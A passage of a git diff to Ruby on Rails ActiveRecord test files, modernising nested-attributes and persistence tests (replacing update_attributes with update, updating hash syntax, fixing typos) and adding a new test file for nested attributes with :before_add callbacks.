- Post.cache do
- one = assert_queries(1) { post.comments.limit_by(1).to_a }
- assert_equal 1, one.size
-
- two = assert_queries(1) { post.comments.limit_by(2).to_a }
- assert_equal 2, two.size
-
- assert_no_queries { post.comments.limit_by(1).to_a }
- assert_no_queries { post.comments.limit_by(2).to_a }
- end
- end
-
- def test_scopes_to_get_newest
- post = posts(:welcome)
- old_last_comment = post.comments.newest
- new_comment = post.comments.create(:body => "My new comment")
- assert_equal new_comment, post.comments.newest
- assert_not_equal old_last_comment, post.comments.newest
- end
-
- def test_scopes_are_reset_on_association_reload
- post = posts(:welcome)
-
- [:destroy_all, :reset, :delete_all].each do |method|
- before = post.comments.containing_the_letter_e
- post.association(:comments).send(method)
- assert before.object_id != post.comments.containing_the_letter_e.object_id, "CollectionAssociation##{method} should reset the named scopes cache"
- end
- end
-
- def test_scoped_are_lazy_loaded_if_table_still_does_not_exist
- assert_nothing_raised do
- require "models/without_table"
- end
- end
-
- def test_eager_scopes_are_deprecated
- klass = Class.new(ActiveRecord::Base)
- klass.table_name = 'posts'
-
- assert_deprecated do
- klass.scope :welcome_2, klass.where(:id => posts(:welcome).id)
- end
- assert_equal [posts(:welcome).title], klass.welcome_2.map(&:title)
- end
-
- def test_eager_default_scope_relations_are_deprecated
- klass = Class.new(ActiveRecord::Base)
- klass.table_name = 'posts'
-
- assert_deprecated do
- klass.send(:default_scope, klass.where(:id => posts(:welcome).id))
- end
- assert_equal [posts(:welcome).title], klass.all.map(&:title)
- end
-end
diff --git a/activerecord/test/cases/nested_attributes_test.rb b/activerecord/test/cases/nested_attributes_test.rb
index 3f08f9ea4d..5c7e8a65d2 100644
--- a/activerecord/test/cases/nested_attributes_test.rb
+++ b/activerecord/test/cases/nested_attributes_test.rb
@@ -11,25 +11,9 @@ require "models/owner"
require "models/pet"
require 'active_support/hash_with_indifferent_access'
-module AssertRaiseWithMessage
- def assert_raise_with_message(expected_exception, expected_message)
- begin
- error_raised = false
- yield
- rescue expected_exception => error
- error_raised = true
- actual_message = error.message
- end
- assert error_raised
- assert_equal expected_message, actual_message
- end
-end
-
class TestNestedAttributesInGeneral < ActiveRecord::TestCase
- include AssertRaiseWithMessage
-
- def teardown
- Pirate.accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+ teardown do
+ Pirate.accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc(&:empty?)
end
def test_base_should_have_an_empty_nested_attributes_options
@@ -71,18 +55,19 @@ class TestNestedAttributesInGeneral < ActiveRecord::TestCase
end
def test_should_raise_an_ArgumentError_for_non_existing_associations
- assert_raise_with_message ArgumentError, "No association found for name `honesty'. Has it been defined yet?" do
+ exception = assert_raise ArgumentError do
Pirate.accepts_nested_attributes_for :honesty
end
+ assert_equal "No association found for name `honesty'. Has it been defined yet?", exception.message
end
def test_should_disable_allow_destroy_by_default
Pirate.accepts_nested_attributes_for :ship
- pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
- ship = pirate.create_ship(:name => 'Nights Dirty Lightning')
+ pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
+ ship = pirate.create_ship(name: 'Nights Dirty Lightning')
- pirate.update_attributes(:ship_attributes => { '_destroy' => true, :id => ship.id })
+ pirate.update(ship_attributes: { '_destroy' => true, :id => ship.id })
assert_nothing_raised(ActiveRecord::RecordNotFound) { pirate.ship.reload }
end
@@ -125,33 +110,47 @@ class TestNestedAttributesInGeneral < ActiveRecord::TestCase
def test_reject_if_with_a_proc_which_returns_true_always_for_has_one
Pirate.accepts_nested_attributes_for :ship, :reject_if => proc {|attributes| true }
- pirate = Pirate.new(:catchphrase => "Stop wastin' me time")
- ship = pirate.create_ship(:name => 's1')
- pirate.update_attributes({:ship_attributes => { :name => 's2', :id => ship.id } })
+ pirate = Pirate.new(catchphrase: "Stop wastin' me time")
+ ship = pirate.create_ship(name: 's1')
+ pirate.update({ship_attributes: { name: 's2', id: ship.id } })
assert_equal 's1', ship.reload.name
end
+ def test_reuse_already_built_new_record
+ pirate = Pirate.new
+ ship_built_first = pirate.build_ship
+ pirate.ship_attributes = { name: 'Ship 1' }
+ assert_equal ship_built_first.object_id, pirate.ship.object_id
+ end
+
+ def test_do_not_allow_assigning_foreign_key_when_reusing_existing_new_record
+ pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
+ pirate.build_ship
+ pirate.ship_attributes = { name: 'Ship 1', pirate_id: pirate.id + 1 }
+ assert_equal pirate.id, pirate.ship.pirate_id
+ end
+
def test_reject_if_with_a_proc_which_returns_true_always_for_has_many
Man.accepts_nested_attributes_for :interests, :reject_if => proc {|attributes| true }
- man = Man.create(:name => "John")
- interest = man.interests.create(:topic => 'photography')
- man.update_attributes({:interests_attributes => { :topic => 'gardening', :id => interest.id } })
+ man = Man.create(name: "John")
+ interest = man.interests.create(topic: 'photography')
+ man.update({interests_attributes: { topic: 'gardening', id: interest.id } })
assert_equal 'photography', interest.reload.topic
end
def test_destroy_works_independent_of_reject_if
Man.accepts_nested_attributes_for :interests, :reject_if => proc {|attributes| true }, :allow_destroy => true
- man = Man.create(:name => "Jon")
- interest = man.interests.create(:topic => 'the ladies')
- man.update_attributes({:interests_attributes => { :_destroy => "1", :id => interest.id } })
+ man = Man.create(name: "Jon")
+ interest = man.interests.create(topic: 'the ladies')
+ man.update({interests_attributes: { _destroy: "1", id: interest.id } })
assert man.reload.interests.empty?
end
def test_has_many_association_updating_a_single_record
Man.accepts_nested_attributes_for(:interests)
- man = Man.create(:name => 'John')
- interest = man.interests.create(:topic => 'photography')
- man.update_attributes({:interests_attributes => {:topic => 'gardening', :id => interest.id}})
+ man = Man.create(name: 'John')
+ interest = man.interests.create(topic: 'photography')
+ man.update({interests_attributes: {topic: 'gardening', id: interest.id}})
assert_equal 'gardening', interest.reload.topic
end
@@ -167,7 +166,7 @@ class TestNestedAttributesInGeneral < ActiveRecord::TestCase
def test_first_and_array_index_zero_methods_return_the_same_value_when_nested_attributes_are_set_to_update_existing_record
Man.accepts_nested_attributes_for(:interests)
man = Man.create(:name => "John")
- interest = man.interests.create :topic => 'gardning'
+ interest = man.interests.create :topic => 'gardening'
man = Man.find man.id
man.interests_attributes = [{:id => interest.id, :topic => 'gardening'}]
assert_equal man.interests.first.topic, man.interests[0].topic
@@ -199,17 +198,16 @@ class TestNestedAttributesInGeneral < ActiveRecord::TestCase
end
class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase
- include AssertRaiseWithMessage
-
def setup
@pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
@ship = @pirate.create_ship(:name => 'Nights Dirty Lightning')
end
def test_should_raise_argument_error_if_trying_to_build_polymorphic_belongs_to
- assert_raise_with_message ArgumentError, "Cannot build association `looter'. Are you trying to build a polymorphic one-to-one association?" do
+ exception = assert_raise ArgumentError do
Treasure.new(:name => 'pearl', :looter_attributes => {:catchphrase => "Arrr"})
end
+ assert_equal "Cannot build association `looter'. Are you trying to build a polymorphic one-to-one association?", exception.message
end
def test_should_define_an_attribute_writer_method_for_the_association
@@ -261,9 +259,10 @@ class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase
end
def test_should_raise_RecordNotFound_if_an_id_is_given_but_doesnt_return_a_record
- assert_raise_with_message ActiveRecord::RecordNotFound, "Couldn't find Ship with ID=1234567890 for Pirate with ID=#{@pirate.id}" do
+ exception = assert_raise ActiveRecord::RecordNotFound do
@pirate.ship_attributes = { :id => 1234567890 }
end
+ assert_equal "Couldn't find Ship with ID=1234567890 for Pirate with ID=#{@pirate.id}", exception.message
end
def test_should_take_a_hash_with_string_keys_and_update_the_associated_model
@@ -284,8 +283,8 @@ class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase
@pirate.ship.destroy
[1, '1', true, 'true'].each do |truth|
- ship = @pirate.reload.create_ship(:name => 'Mister Pablo')
- @pirate.update_attributes(:ship_attributes => { :id => ship.id, :_destroy => truth })
+ ship = @pirate.reload.create_ship(name: 'Mister Pablo')
+ @pirate.update(ship_attributes: { id: ship.id, _destroy: truth })
assert_nil @pirate.reload.ship
assert_raise(ActiveRecord::RecordNotFound) { Ship.find(ship.id) }
@@ -294,31 +293,31 @@ class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase
def test_should_not_destroy_an_existing_record_if_destroy_is_not_truthy
[nil, '0', 0, 'false', false].each do |not_truth|
- @pirate.update_attributes(:ship_attributes => { :id => @pirate.ship.id, :_destroy => not_truth })
+ @pirate.update(ship_attributes: { id: @pirate.ship.id, _destroy: not_truth })
assert_equal @ship, @pirate.reload.ship
end
end
def test_should_not_destroy_an_existing_record_if_allow_destroy_is_false
- Pirate.accepts_nested_attributes_for :ship, :allow_destroy => false, :reject_if => proc { |attributes| attributes.empty? }
+ Pirate.accepts_nested_attributes_for :ship, :allow_destroy => false, :reject_if => proc(&:empty?)
- @pirate.update_attributes(:ship_attributes => { :id => @pirate.ship.id, :_destroy => '1' })
+ @pirate.update(ship_attributes: { id: @pirate.ship.id, _destroy: '1' })
assert_equal @ship, @pirate.reload.ship
- Pirate.accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+ Pirate.accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc(&:empty?)
end
def test_should_also_work_with_a_HashWithIndifferentAccess
- @pirate.ship_attributes = HashWithIndifferentAccess.new(:id => @ship.id, :name => 'Davy Jones Gold Dagger')
+ @pirate.ship_attributes = ActiveSupport::HashWithIndifferentAccess.new(:id => @ship.id, :name => 'Davy Jones Gold Dagger')
assert @pirate.ship.persisted?
assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
end
- def test_should_work_with_update_attributes_as_well
- @pirate.update_attributes({ :catchphrase => 'Arr', :ship_attributes => { :id => @ship.id, :name => 'Mister Pablo' } })
+ def test_should_work_with_update_as_well
+ @pirate.update({ catchphrase: 'Arr', ship_attributes: { id: @ship.id, name: 'Mister Pablo' } })
@pirate.reload
assert_equal 'Arr', @pirate.catchphrase
@@ -342,22 +341,22 @@ class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase
end
def test_should_accept_update_only_option
- @pirate.update_attributes(:update_only_ship_attributes => { :id => @pirate.ship.id, :name => 'Mayflower' })
+ @pirate.update(update_only_ship_attributes: { id: @pirate.ship.id, name: 'Mayflower' })
end
def test_should_create_new_model_when_nothing_is_there_and_update_only_is_true
@ship.delete
- @pirate.reload.update_attributes(:update_only_ship_attributes => { :name => 'Mayflower' })
+ @pirate.reload.update(update_only_ship_attributes: { name: 'Mayflower' })
assert_not_nil @pirate.ship
end
def test_should_update_existing_when_update_only_is_true_and_no_id_is_given
@ship.delete
- @ship = @pirate.create_update_only_ship(:name => 'Nights Dirty Lightning')
+ @ship = @pirate.create_update_only_ship(name: 'Nights Dirty Lightning')
- @pirate.update_attributes(:update_only_ship_attributes => { :name => 'Mayflower' })
+ @pirate.update(update_only_ship_attributes: { name: 'Mayflower' })
assert_equal 'Mayflower', @ship.reload.name
assert_equal @ship, @pirate.reload.ship
@@ -365,9 +364,9 @@ class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase
def test_should_update_existing_when_update_only_is_true_and_id_is_given
@ship.delete
- @ship = @pirate.create_update_only_ship(:name => 'Nights Dirty Lightning')
+ @ship = @pirate.create_update_only_ship(name: 'Nights Dirty Lightning')
- @pirate.update_attributes(:update_only_ship_attributes => { :name => 'Mayflower', :id => @ship.id })
+ @pirate.update(update_only_ship_attributes: { name: 'Mayflower', id: @ship.id })
assert_equal 'Mayflower', @ship.reload.name
assert_equal @ship, @pirate.reload.ship
@@ -376,9 +375,9 @@ class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase
def test_should_destroy_existing_when_update_only_is_true_and_id_is_given_and_is_marked_for_destruction
Pirate.accepts_nested_attributes_for :update_only_ship, :update_only => true, :allow_destroy => true
@ship.delete
- @ship = @pirate.create_update_only_ship(:name => 'Nights Dirty Lightning')
+ @ship = @pirate.create_update_only_ship(name: 'Nights Dirty Lightning')
- @pirate.update_attributes(:update_only_ship_attributes => { :name => 'Mayflower', :id => @ship.id, :_destroy => true })
+ @pirate.update(update_only_ship_attributes: { name: 'Mayflower', id: @ship.id, _destroy: true })
assert_nil @pirate.reload.ship
assert_raise(ActiveRecord::RecordNotFound) { Ship.find(@ship.id) }
@@ -389,8 +388,6 @@ class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase
end
class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase
- include AssertRaiseWithMessage
-
def setup
@ship = Ship.new(:name => 'Nights Dirty Lightning')
@pirate = @ship.build_pirate(:catchphrase => 'Aye')
@@ -446,9 +443,10 @@ class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase
end
def test_should_raise_RecordNotFound_if_an_id_is_given_but_doesnt_return_a_record
- assert_raise_with_message ActiveRecord::RecordNotFound, "Couldn't find Pirate with ID=1234567890 for Ship with ID=#{@ship.id}" do
+ exception = assert_raise ActiveRecord::RecordNotFound do
@ship.pirate_attributes = { :id => 1234567890 }
end
+ assert_equal "Couldn't find Pirate with ID=1234567890 for Ship with ID=#{@ship.id}", exception.message
end
def test_should_take_a_hash_with_string_keys_and_update_the_associated_model
@@ -468,15 +466,15 @@ class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase
def test_should_destroy_an_existing_record_if_there_is_a_matching_id_and_destroy_is_truthy
@ship.pirate.destroy
[1, '1', true, 'true'].each do |truth|
- pirate = @ship.reload.create_pirate(:catchphrase => 'Arr')
- @ship.update_attributes(:pirate_attributes => { :id => pirate.id, :_destroy => truth })
+ pirate = @ship.reload.create_pirate(catchphrase: 'Arr')
+ @ship.update(pirate_attributes: { id: pirate.id, _destroy: truth })
assert_raise(ActiveRecord::RecordNotFound) { pirate.reload }
end
end
def test_should_unset_association_when_an_existing_record_is_destroyed
original_pirate_id = @ship.pirate.id
- @ship.update_attributes! pirate_attributes: { id: @ship.pirate.id, _destroy: true }
+ @ship.update! pirate_attributes: { id: @ship.pirate.id, _destroy: true }
assert_empty Pirate.where(id: original_pirate_id)
assert_nil @ship.pirate_id
@@ -490,22 +488,22 @@ class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase
def test_should_not_destroy_an_existing_record_if_destroy_is_not_truthy
[nil, '0', 0, 'false', false].each do |not_truth|
- @ship.update_attributes(:pirate_attributes => { :id => @ship.pirate.id, :_destroy => not_truth })
+ @ship.update(pirate_attributes: { id: @ship.pirate.id, _destroy: not_truth })
assert_nothing_raised(ActiveRecord::RecordNotFound) { @ship.pirate.reload }
end
end
def test_should_not_destroy_an_existing_record_if_allow_destroy_is_false
- Ship.accepts_nested_attributes_for :pirate, :allow_destroy => false, :reject_if => proc { |attributes| attributes.empty? }
+ Ship.accepts_nested_attributes_for :pirate, :allow_destroy => false, :reject_if => proc(&:empty?)
- @ship.update_attributes(:pirate_attributes => { :id => @ship.pirate.id, :_destroy => '1' })
+ @ship.update(pirate_attributes: { id: @ship.pirate.id, _destroy: '1' })
assert_nothing_raised(ActiveRecord::RecordNotFound) { @ship.pirate.reload }
ensure
- Ship.accepts_nested_attributes_for :pirate, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+ Ship.accepts_nested_attributes_for :pirate, :allow_destroy => true, :reject_if => proc(&:empty?)
end
- def test_should_work_with_update_attributes_as_well
- @ship.update_attributes({ :name => 'Mister Pablo', :pirate_attributes => { :catchphrase => 'Arr' } })
+ def test_should_work_with_update_as_well
+ @ship.update({ name: 'Mister Pablo', pirate_attributes: { catchphrase: 'Arr' } })
@ship.reload
assert_equal 'Mister Pablo', @ship.name
@@ -534,18 +532,18 @@ class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase
def test_should_update_existing_when_update_only_is_true_and_no_id_is_given
@pirate.delete
- @pirate = @ship.create_update_only_pirate(:catchphrase => 'Aye')
+ @pirate = @ship.create_update_only_pirate(catchphrase: 'Aye')
- @ship.update_attributes(:update_only_pirate_attributes => { :catchphrase => 'Arr' })
+ @ship.update(update_only_pirate_attributes: { catchphrase: 'Arr' })
assert_equal 'Arr', @pirate.reload.catchphrase
assert_equal @pirate, @ship.reload.update_only_pirate
end
def test_should_update_existing_when_update_only_is_true_and_id_is_given
@pirate.delete
- @pirate = @ship.create_update_only_pirate(:catchphrase => 'Aye')
+ @pirate = @ship.create_update_only_pirate(catchphrase: 'Aye')
- @ship.update_attributes(:update_only_pirate_attributes => { :catchphrase => 'Arr', :id => @pirate.id })
+ @ship.update(update_only_pirate_attributes: { catchphrase: 'Arr', id: @pirate.id })
assert_equal 'Arr', @pirate.reload.catchphrase
assert_equal @pirate, @ship.reload.update_only_pirate
@@ -554,9 +552,9 @@ class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase
def test_should_destroy_existing_when_update_only_is_true_and_id_is_given_and_is_marked_for_destruction
Ship.accepts_nested_attributes_for :update_only_pirate, :update_only => true, :allow_destroy => true
@pirate.delete
- @pirate = @ship.create_update_only_pirate(:catchphrase => 'Aye')
+ @pirate = @ship.create_update_only_pirate(catchphrase: 'Aye')
- @ship.update_attributes(:update_only_pirate_attributes => { :catchphrase => 'Arr', :id => @pirate.id, :_destroy => true })
+ @ship.update(update_only_pirate_attributes: { catchphrase: 'Arr', id: @pirate.id, _destroy: true })
assert_raise(ActiveRecord::RecordNotFound) { @pirate.reload }
@@ -565,8 +563,6 @@ class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase
end
module NestedAttributesOnACollectionAssociationTests
- include AssertRaiseWithMessage
-
def test_should_define_an_attribute_writer_method_for_the_association
assert_respond_to @pirate, association_setter
end
@@ -582,7 +578,7 @@ module NestedAttributesOnACollectionAssociationTests
def test_should_take_a_hash_with_string_keys_and_assign_the_attributes_to_the_associated_models
@alternate_params[association_getter].stringify_keys!
- @pirate.update_attributes @alternate_params
+ @pirate.update @alternate_params
assert_equal ['Grace OMalley', 'Privateers Greed'], [@child_1.reload.name, @child_2.reload.name]
end
@@ -593,7 +589,7 @@ module NestedAttributesOnACollectionAssociationTests
end
def test_should_also_work_with_a_HashWithIndifferentAccess
- @pirate.send(association_setter, HashWithIndifferentAccess.new('foo' => HashWithIndifferentAccess.new(:id => @child_1.id, :name => 'Grace OMalley')))
+ @pirate.send(association_setter, ActiveSupport::HashWithIndifferentAccess.new('foo' => ActiveSupport::HashWithIndifferentAccess.new(:id => @child_1.id, :name => 'Grace OMalley')))
@pirate.save
assert_equal 'Grace OMalley', @child_1.reload.name
end
@@ -628,10 +624,10 @@ module NestedAttributesOnACollectionAssociationTests
def test_should_refresh_saved_records_when_not_overwriting_unsaved_updates
@pirate.reload
- record = @pirate.class.reflect_on_association(@association_name).klass.new(:name => 'Grace OMalley')
+ record = @pirate.class.reflect_on_association(@association_name).klass.new(name: 'Grace OMalley')
@pirate.send(@association_name) << record
record.save!
- @pirate.send(@association_name).last.update_attributes!(:name => 'Polly')
+ @pirate.send(@association_name).last.update!(name: 'Polly')
assert_equal 'Polly', @pirate.send(@association_name).send(:load_target).last.name
end
@@ -656,9 +652,10 @@ module NestedAttributesOnACollectionAssociationTests
end
def test_should_raise_RecordNotFound_if_an_id_is_given_but_doesnt_return_a_record
- assert_raise_with_message ActiveRecord::RecordNotFound, "Couldn't find #{@child_1.class.name} with ID=1234567890 for Pirate with ID=#{@pirate.id}" do
+ exception = assert_raise ActiveRecord::RecordNotFound do
@pirate.attributes = { association_getter => [{ :id => 1234567890 }] }
end
+ assert_equal "Couldn't find #{@child_1.class.name} with ID=1234567890 for Pirate with ID=#{@pirate.id}", exception.message
end
def test_should_automatically_build_new_associated_models_for_each_entry_in_a_hash_where_the_id_is_missing
@@ -713,22 +710,23 @@ module NestedAttributesOnACollectionAssociationTests
assert_nothing_raised(ArgumentError) { @pirate.send(association_setter, {}) }
assert_nothing_raised(ArgumentError) { @pirate.send(association_setter, Hash.new) }
- assert_raise_with_message ArgumentError, 'Hash or Array expected, got String ("foo")' do
+ exception = assert_raise ArgumentError do
@pirate.send(association_setter, "foo")
end
+ assert_equal 'Hash or Array expected, got String ("foo")', exception.message
end
- def test_should_work_with_update_attributes_as_well
- @pirate.update_attributes(:catchphrase => 'Arr',
+ def test_should_work_with_update_as_well
+ @pirate.update(catchphrase: 'Arr',
association_getter => { 'foo' => { :id => @child_1.id, :name => 'Grace OMalley' }})
assert_equal 'Grace OMalley', @child_1.reload.name
end
def test_should_update_existing_records_and_add_new_ones_that_have_no_id
- @alternate_params[association_getter]['baz'] = { :name => 'Buccaneers Servant' }
+ @alternate_params[association_getter]['baz'] = { name: 'Buccaneers Servant' }
assert_difference('@pirate.send(@association_name).count', +1) do
- @pirate.update_attributes @alternate_params
+ @pirate.update @alternate_params
end
assert_equal ['Grace OMalley', 'Privateers Greed', 'Buccaneers Servant'].to_set, @pirate.reload.send(@association_name).map(&:name).to_set
end
@@ -750,7 +748,7 @@ module NestedAttributesOnACollectionAssociationTests
[nil, '', '0', 0, 'false', false].each do |false_variable|
@alternate_params[association_getter]['foo']['_destroy'] = false_variable
assert_no_difference('@pirate.send(@association_name).count') do
- @pirate.update_attributes(@alternate_params)
+ @pirate.update(@alternate_params)
end
end
end
@@ -783,30 +781,12 @@ module NestedAttributesOnACollectionAssociationTests
end
end
- def test_validate_presence_of_parent_fails_without_inverse_of
- Man.accepts_nested_attributes_for(:interests)
- Man.reflect_on_association(:interests).options.delete(:inverse_of)
- Interest.reflect_on_association(:man).options.delete(:inverse_of)
-
- repair_validations(Interest) do
- Interest.validates_presence_of(:man)
- assert_no_difference ['Man.count', 'Interest.count'] do
- man = Man.create(:name => 'John',
- :interests_attributes => [{:topic=>'Cars'}, {:topic=>'Sports'}])
- assert !man.errors[:"interests.man"].empty?
- end
- end
- ensure
- Man.reflect_on_association(:interests).options[:inverse_of] = :man
- Interest.reflect_on_association(:man).options[:inverse_of] = :interests
- end
-
def test_can_use_symbols_as_object_identifier
@pirate.attributes = { :parrots_attributes => { :foo => { :name => 'Lovely Day' }, :bar => { :name => 'Blown Away' } } }
assert_nothing_raised(NoMethodError) { @pirate.save! }
end
- def test_numeric_colum_changes_from_zero_to_no_empty_string
+ def test_numeric_column_changes_from_zero_to_no_empty_string
Man.accepts_nested_attributes_for(:interests)
repair_validations(Interest) do
@@ -814,7 +794,7 @@ module NestedAttributesOnACollectionAssociationTests
man = Man.create(name: 'John')
interest = man.interests.create(topic: 'bar', zine_id: 0)
assert interest.save
- assert !man.update_attributes({interests_attributes: { id: interest.id, zine_id: 'foo' }})
+ assert !man.update({interests_attributes: { id: interest.id, zine_id: 'foo' }})
end
end
@@ -875,7 +855,7 @@ end
module NestedAttributesLimitTests
def teardown
- Pirate.accepts_nested_attributes_for :parrots, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+ Pirate.accepts_nested_attributes_for :parrots, :allow_destroy => true, :reject_if => proc(&:empty?)
end
def test_limit_with_less_records
@@ -945,18 +925,18 @@ class TestNestedAttributesWithNonStandardPrimaryKeys < ActiveRecord::TestCase
end
def test_should_update_existing_records_with_non_standard_primary_key
- @owner.update_attributes(@params)
+ @owner.update(@params)
assert_equal ['Foo', 'Bar'], @owner.pets.map(&:name)
end
- def test_attr_accessor_of_child_should_be_value_provided_during_update_attributes
+ def test_attr_accessor_of_child_should_be_value_provided_during_update
@owner = owners(:ashley)
@pet1 = pets(:chew)
attributes = {:pets_attributes => { "1"=> { :id => @pet1.id,
:name => "Foo2",
:current_user => "John",
:_destroy=>true }}}
- @owner.update_attributes(attributes)
+ @owner.update(attributes)
assert_equal 'John', Pet.after_destroy_output
end
diff --git a/activerecord/test/cases/nested_attributes_with_callbacks_test.rb b/activerecord/test/cases/nested_attributes_with_callbacks_test.rb
new file mode 100644
index 0000000000..43a69928b6
--- /dev/null
+++ b/activerecord/test/cases/nested_attributes_with_callbacks_test.rb
@@ -0,0 +1,144 @@
+require "cases/helper"
+require "models/pirate"
+require "models/bird"
+
+class NestedAttributesWithCallbacksTest < ActiveRecord::TestCase
+ Pirate.has_many(:birds_with_add_load,
+ :class_name => "Bird",
+ :before_add => proc { |p,b|
+ @@add_callback_called << b
+ p.birds_with_add_load.to_a
+ })
+ Pirate.has_many(:birds_with_add,
+ :class_name => "Bird",
+ :before_add => proc { |p,b| @@add_callback_called << b })
+
+ Pirate.accepts_nested_attributes_for(:birds_with_add_load,
+ :birds_with_add,
+ :allow_destroy => true)
+
+ def setup
+ @@add_callback_called = []
+ @pirate = Pirate.new.tap do |pirate|
+ pirate.catchphrase = "Don't call me!"
+ pirate.birds_attributes = [{:name => 'Bird1'},{:name => 'Bird2'}]
+ pirate.save!
+ end
+ @birds = @pirate.birds.to_a
+ end
+
+ def bird_to_update
+ @birds[0]
+ end
+
+ def bird_to_destroy
+ @birds[1]
+ end
+
+ def existing_birds_attributes
+ @birds.map do |bird|
+ bird.attributes.slice("id","name")
+ end
+ end
+
+ def new_birds
+ @pirate.birds_with_add.to_a - @birds
+ end
+
+ def new_bird_attributes
+ [{'name' => "New Bird"}]
+ end
+
+ def destroy_bird_attributes
+ [{'id' => bird_to_destroy.id.to_s, "_destroy" => true}]
+ end
+
+ def update_new_and_destroy_bird_attributes
+ [{'id' => @birds[0].id.to_s, 'name' => 'New Name'},
+ {'name' => "New Bird"},
+ {'id' => bird_to_destroy.id.to_s, "_destroy" => true}]
+ end
+
+ # Characterizing when :before_add callback is called
+ test ":before_add called for new bird when not loaded" do
+ assert_not @pirate.birds_with_add.loaded?
+ @pirate.birds_with_add_attributes = new_bird_attributes
+ assert_new_bird_with_callback_called
+ end
+
+ test ":before_add called for new bird when loaded" do
+ @pirate.birds_with_add.load_target
+ @pirate.birds_with_add_attributes = new_bird_attributes
+ assert_new_bird_with_callback_called
+ end
+
+ def assert_new_bird_with_callback_called
+ assert_equal(1, new_birds.size)
+ assert_equal(new_birds, @@add_callback_called)
+ end
+
+ test ":before_add not called for identical assignment when not loaded" do
+ assert_not @pirate.birds_with_add.loaded?
+ @pirate.birds_with_add_attributes = existing_birds_attributes
+ assert_callbacks_not_called
+ end
+
+ test ":before_add not called for identical assignment when loaded" do
+ @pirate.birds_with_add.load_target
+ @pirate.birds_with_add_attributes = existing_birds_attributes
+ assert_callbacks_not_called
+ end
+
+ test ":before_add not called for destroy assignment when not loaded" do
+ assert_not @pirate.birds_with_add.loaded?
+ @pirate.birds_with_add_attributes = destroy_bird_attributes
+ assert_callbacks_not_called
+ end
+
+ test ":before_add not called for deletion assignment when loaded" do
+ @pirate.birds_with_add.load_target
+ @pirate.birds_with_add_attributes = destroy_bird_attributes
+ assert_callbacks_not_called
+ end
+
+ def assert_callbacks_not_called
+ assert_empty new_birds
+ assert_empty @@add_callback_called
+ end
+
+ # Ensuring that the records in the association target are updated,
+ # whether the association is loaded before or not
+ test "Assignment updates records in target when not loaded" do
+ assert_not @pirate.birds_with_add.loaded?
+ @pirate.birds_with_add_attributes = update_new_and_destroy_bird_attributes
+ assert_assignment_affects_records_in_target(:birds_with_add)
+ end
+
+ test "Assignment updates records in target when loaded" do
+ @pirate.birds_with_add.load_target
+ @pirate.birds_with_add_attributes = update_new_and_destroy_bird_attributes
+ assert_assignment_affects_records_in_target(:birds_with_add)
+ end
+
+ test("Assignment updates records in target when not loaded" +
+ " and callback loads target") do
+ assert_not @pirate.birds_with_add_load.loaded?
+ @pirate.birds_with_add_load_attributes = update_new_and_destroy_bird_attributes
+ assert_assignment_affects_records_in_target(:birds_with_add_load)
+ end
+
+ test("Assignment updates records in target when loaded" +
+ " and callback loads target") do
+ @pirate.birds_with_add_load.load_target
+ @pirate.birds_with_add_load_attributes = update_new_and_destroy_bird_attributes
+ assert_assignment_affects_records_in_target(:birds_with_add_load)
+ end
+
+ def assert_assignment_affects_records_in_target(association_name)
+ association = @pirate.send(association_name)
+ assert association.detect {|b| b == bird_to_update }.name_changed?,
+ 'Update record not updated'
+ assert association.detect {|b| b == bird_to_destroy }.marked_for_destruction?,
+ 'Destroy record not marked for destruction'
+ end
+end
diff --git a/activerecord/test/cases/persistence_test.rb b/activerecord/test/cases/persistence_test.rb
index 9e0423ab52..6fc4731f01 100644
--- a/activerecord/test/cases/persistence_test.rb
+++ b/activerecord/test/cases/persistence_test.rb
@@ -1,4 +1,5 @@
require "cases/helper"
+require 'models/aircraft'
require 'models/post'
require 'models/comment'
require 'models/author'
@@ -7,20 +8,20 @@ require 'models/reply'
require 'models/category'
require 'models/company'
require 'models/developer'
+require 'models/computer'
require 'models/project'
require 'models/minimalistic'
require 'models/warehouse_thing'
require 'models/parrot'
require 'models/minivan'
+require 'models/owner'
require 'models/person'
require 'models/pet'
require 'models/toy'
require 'rexml/document'
-require 'active_support/core_ext/exception'
-class PersistencesTest < ActiveRecord::TestCase
-
- fixtures :topics, :companies, :developers, :projects, :computers, :accounts, :minimalistics, 'warehouse-things', :authors, :categorizations, :categories, :posts, :minivans, :pets, :toys
+class PersistenceTest < ActiveRecord::TestCase
+ fixtures :topics, :companies, :developers, :projects, :computers, :accounts, :minimalistics, 'warehouse-things', :authors, :author_addresses, :categorizations, :categories, :posts, :minivans, :pets, :toys
# Oracle UPDATE does not support ORDER BY
unless current_adapter?(:OracleAdapter)
@@ -126,7 +127,7 @@ class PersistencesTest < ActiveRecord::TestCase
assert_difference('Topic.count', -topics_by_mary.size) do
destroyed = Topic.destroy_all(conditions).sort_by(&:id)
assert_equal topics_by_mary, destroyed
- assert destroyed.all? { |topic| topic.frozen? }, "destroyed topics should be frozen"
+ assert destroyed.all?(&:frozen?), "destroyed topics should be frozen"
end
end
